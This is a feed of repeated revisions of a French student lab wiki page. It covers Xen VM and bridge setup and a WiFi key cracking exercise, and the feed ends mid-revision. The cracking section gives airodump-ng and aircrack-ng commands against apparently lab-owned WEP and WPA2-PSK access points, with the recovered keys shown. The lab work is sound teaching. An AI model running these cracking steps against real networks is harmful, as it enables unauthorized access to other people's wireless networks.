* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12344</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12344"/>
		<updated>2026-02-22T21:24:34Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* CRÉATION MACHINES VIRTUELLES */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
/etc/network/interface&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12343</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12343"/>
		<updated>2026-02-22T21:22:04Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* CRÉATION MACHINES VIRTUELLES */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
